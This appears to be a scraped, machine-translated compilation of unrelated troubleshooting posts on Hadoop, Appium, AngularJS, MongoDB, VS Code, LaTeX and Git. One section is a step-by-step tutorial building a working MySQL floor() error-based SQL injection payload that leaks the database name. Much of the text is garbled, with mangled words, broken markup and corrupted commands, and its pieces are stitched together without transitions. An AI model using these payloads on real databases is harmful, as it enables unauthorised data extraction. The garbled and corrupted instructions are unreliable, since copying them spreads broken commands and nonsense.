After I have deployed Hadoop and YARN on the local virtual machine, I execute the startup command ./sbin/start-dfs.shbut I have various error reporting problems. Here I document two common problems. Could not resolve hostname: Name or service not known
Error message:
19/05/17 21:31:18 WARN hdfs.DFSUtil: Namenode for null remains unresolved for ID null. Check your hdfs-site.xml file to ensure namenodes are configured properly.
Starting namenodes on [jing-hadoop]
jing-hadoop: ssh: Could not resolve hostname jing-hadoop: Name or service not known
......
This is because without the node name in the configuration file jing - hadoop to join the domain mapping, so I can't identify the host name.
Solutions:
vim /etc/hosts
127.0.0.1 jing-hadoop
And then you start it up again. jing-hadoop configured in h>site.xml , and t>orresponding node IP is 127.0.0.1e>. You should modify>according to your own environment, do not copy directly.
2, Unable to load Native Hadoop Library
Perform the start - DFS. Sh , also appeared the following error:
19/05/17 21:39:32 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
......
If you do not see the NameNode process after executing JPS, then this is definitely not possible.
The local classpath of Hadoop is not configured in the environment variable. The classpath is not configured in the environment variable.
vim /etc/profile
export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native
export HADOOP_OPTS="-Djava.library.path=$HADOOP_HOME/lib"
source /etc/profile
Then, again start - DFS. Sh , will still be reported as errors found, but after executing the JPS, found the NameNode process and DataNode process has been started normally, so will not affect the use.
Among them, the number of the DataNode and the IP is in $HADOOP_HOME/etc/hadoop slave file configuration, if the configure multiple IP, will start multiple DataNode process.
Floor () error injection is exactly floor,count,group by conflict error
Is an error that occurs when these three functions are used together in a particular situation.
First look at the classic FLOOR injection statement:
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
At first glance, it may seem overwhelming, but let’s start with the basics and analyze the statement at the end
The first is the condition under which the floor() error is generated:
Select count(*),floor(rand(0)*2)x from secure.users group by x select count(*),floor(rand(0)*2)x from secure.users group by x
Floor (RAND (0)*2)x = floor(RAND (0)*2)x = floor(RAND (0)*2)x = floor(RAND (0)*2
Let group by meet floor(rand(0)*2) (if you’ll excuse me),
The specific principle will not be analyzed here, and a few principle explanation links will be attached at the end.
First look at the direct execution effect:
The Duplocate Entry error here is exactly what we want. The error location is on the floor(RAND (0)*2), and the 1 is determined by the error principle. After all, we haven’t written any of the subqueries we want.
Next we add the desired subquery to the error location, concatenating it with concat() :
select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x
Security is the database name we want, 1 is the concatenation from the previous step.
But is it possible to use it directly now?Let’s see what happens when we concatenate it directly into and:
select * from security.users where id=1 and (select count(*) ,concat(database(),floor(rand(0)*2)x) from security.users group by x)
To a fault, baidu found a cause for this error a lot, I am here think we build the result of a select statement is a result table, while the and need a Boolean value, that is, the value of the zero or non-zero, that we are in a nested query, said the result is a result of the select in front of the table, that we can again from this table to execute queries, but this time the select this value is zero number:
select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a
Again, this last “a” does exactly the same thing as the “x” we explained earlier, which is an alias for the parentheses,
SQL statements require that an alias name be given when a query is executed based on the result of the query.
Execute after nested into AND
select * from security.users where id=1 and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)
You’re done
We have completed the floo() injection statement we introduced at the beginning
Several fool() principles explained:
https://www.cnblogs.com/xdans/p/5412468.html
https://www.cnblogs.com/litlife/p/8472323.html
http://www.cnblogs.com/xishaonian/p/6227405.html
Referral to indicate source
Sync to my blog: http://119.23.249.120/archives/276
I’m glad that more people are using Appium on the forums these days, but there are also a lot of people who don’t know what to do when they make mistakes because they don’t know about Appium. Here’s a simple troubleshooting guide based on my personal experience. It’s not guaranteed to fix everything, but it should at least give you a sense of which direction you should go.
1. Read the Appium documentation
This is one of the most important techniques that many people overlook. The Appium documentation explains how to use the Appium properly and what the Appium can’t do or have to do in a special way. Most of the beginner’s questions can be answered here.
Chinese documents (translated by testerhome open source team, has consistent and official documents) : https://github.com/testerhome/appium/tree/master/docs/cn English document: https://github.com/appium/appium/tree/master/docs/en
2. Search Google or StackOverflow after reading the Appum Log
AppIum’s log is debug level by default, so it’s very rich. If you know how to read correctly, you can easily find answers from Google/StackOverflow.
PS: Baidu is not recommended. In fact, most of the searches on Baidu are from TesterHome…
Due to the main structure is: Appium Android: use adb management equipment, installation and application, use UiAutomator/selendriod driver for the application of various operations (to find elements, click, etc.) iOS: using Instruments management equipment, use UiAutomation driver for the application of various operations
So there are the following types of logs for Appium:
1, Network communication log (-->; or & lt; -- symbol) :
info: --> GET /wd/hub/status {}
info: <-- GET /wd/hub/status 200 1.335 ms - 104 {"status":0,"value":{"build":{"version":"1.3.4","revision":"c8c79a85fbd6870cd6fc3d66d038a115ebe22efe"}}}
This type of log typically occurs when the Appium Client communicates with the Appium Server and records the original communication information. Usually, the error is simply an error in the execution below and then fed back to the upper level (see HTTP Status Code for errors). The status code above is 200, which means the process was successful. [debug]/ code>
>
info: [debug] Responding to client with success: {"status":0,"value":{"build":{"version":"1.3.4","revision":"c8c79a85fbd6870cd6fc3d66d038a115ebe22efe"}}}
...
info: [debug] Configuring Safari session
info: [debug] We're on iOS8+ so not copying mobile safari app
info: [debug] Creating new appium session 59f933a1-ee07-45d3-bbec-cabfe89735d8
info: [debug] Removing any remaining instruments sockets
info: [debug] Cleaned up instruments socket /tmp/instruments_sock
info: [debug] Setting Xcode folder
This type of log is the Appium Server internal log, which occurs most frequently and describes what is being done inside the Appium Server at this time (calling other tools, creating sessions, and so on). If there is an error here and none of the following three types of errors, it is an error of the Appium Server.
3, Apple Instruments Log (There is an extra timestamp in the Log contents. If you use.app, the log is colored green) :
This class of log is the log of the Instruments, and the AppIum is just attached to the AppIum log for your convenience. This type of log error is referred to as Instruments.
4, Android UiAutomator log (in the [UiAutomator STDOUT] or [the BOOTSTRAP] ) :
This class log is the log of UIautomator. [Uiautomator STDOUT] the log of BOOTSTRAP UiautomatorTestRunner, [>tstrap] is the>of BOOTSTRAP tool installed on the device under test by AppIum. Therefore, Appium made a special test case of Uiautomator to receive and execute the Appium command on the device under test. Log error here, please look for Uiautomator (BootStrap is part of AppIum, but it is usually an error when calling the Uiautomator API).
Selendroid log (starting with [Selendroid]:
This class of logs is the log handled internally by Selendroid. If something goes wrong here, look for Selendroid.
3. Search the AppIum Official Issue and Discussion Group and TesterHome based on the error message:
issue:https://github.com/appium/appium/issues discussion group: https://discuss.appium.io/ testerhome:http://testerhome.com/
In the first learning AngularJS there will always be a variety of mistakes, today to do a small summary
The first:
Uncaught SyntaxError: Unexpected identifier
There is a missing English comma in the code. It is normal to add a comma, as in:
Article 2:
Error: [ng:areq] http://errors.angularjs.org
This error is usually caused by not finding the controller. It is normal to write a correct controller.
Use the app-directive name when writing the attributes of the directive template. The reason for this is to prevent the name of the directive from collided with the newly added attributes in future HTML language updates.
When replace:true is used in the directive, the HTML template to be replaced must have only one root element. Otherwise, this error is reported.
Error: [$compile:tplrt]
TypeError: Cannot set property ‘list’ of undefined
Error: [$injector:itkn]
$scope = $scope = $scope = $scope
When creating a user from the MongoDB command line, the following error is reported:
db.addUser(“lisi”,”123456″);
2016-11-04T19:41:02.563+0800 E QUERY [thread1] TypeError: db.addUser is not a function:
The addUser() method is no longer supported in the mongdb3.x version and is replaced by the createUser() method.
See the section on creating users in the official documentation:
https://docs.mongodb.com/manual/reference/method/js-user-management/
When you add a new user, you can specify the user’s role. Refer to the built-in roles section of the official documentation:
http://docs.mongoing.com/manual-zh/reference/built-in-roles.html
http://www.cnblogs.com/SamOk/p/5162767.html (with Chinese translation)
Also refer to the blog post:
http://blog.csdn.net/unixpro/article/details/47302855
I need to learn C language again. After installing VS Code, I ran the C program successfully according to the configuration process on the Internet. However, when I reopened it the next day, an error was reported!
Json and launch.json were checked and found no errors. After a closer look, the problem was the path, because there was a program declaration in lanch
Json can not access the workspaceRoot. In this case, I should directly select the option to open the folder, and select the directory above the. C file and the json file.
Open Cprogram which contains.c files and contains.vscode files which need various JSON configurations
Select to reopen the Cprogram folder and the program will execute correctly
As shown in the figure above, there are two options for reporting an error that are not shown in the Console:
Click Default Levels, as shown below:
If an error message appears, the problem is resolved.
If the above action is not resolved, read on
2. Right-click on the red field in the Console and select Filter and click Unhidden All
Figure 1 shows the effect of right-clicking in the white area, and Figure 2 shows the effect of right-clicking in the yellow area (warning). After the operation is completed, an error will appear, and the problem will be solved. Stop work ~
A, problem,
When configuring the Spring persistence layer XML configuration file, < tx:annotation-driven> ansaction-manager a>bute is always red, obviously there is a problem;
Second, the solution
1. Simply add to the configuration file:
You have placed an alignment TAB character ‘& ‘In the wrong place. If you want to align something, you must write it inside an align environment such as \ begin{align}… \ end{align}, \ begin{tabular}… \end{tabular}, etc. If you want to write an ampersand ‘& ‘ in text, you must write \& instead.
Solutions:
1. Check the & in the article first; Whether rules are adhered to in use.
2. If the & in the article is excluded; “, so go straight to the references, in the.bib file, search for & , all changed to \& .
To be updated…
git push,git pull,git clone HTTP Basic: Access denied
Example of error message
Reason: The user name and password configured locally by Git is not the same as the user name and password registered on GitLabs.
Solutions:
1. If the password is changed Use this command git config – system – the unset the credential. The helper to enter the account password Should be can solve the 2. git config — global http.emptyAuth true
git config — global http.emptyAuth true 3 If the above two methods do not work, use the following:
Access Control Panel User Accounts Credentials Manager?Windows credentials “ordinary credentials, find git in the inside, click on the edit password, update to the latest password can be normal operation.
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Welcome to browse, technical exchange
Please respect the fruits of your labor
Reprint please indicate the source, thank you!
https://blog.csdn.net/netwalk/article/details/100768038
: Cannot access Backend cannot access Group
Thinking about why the same package will report this error, it must be the IDE problem, Google found that someone wrote feedback on the official website, the official website staff answer: restart try
Results!! Reboot idea is no longer an error, my god [emoticon]
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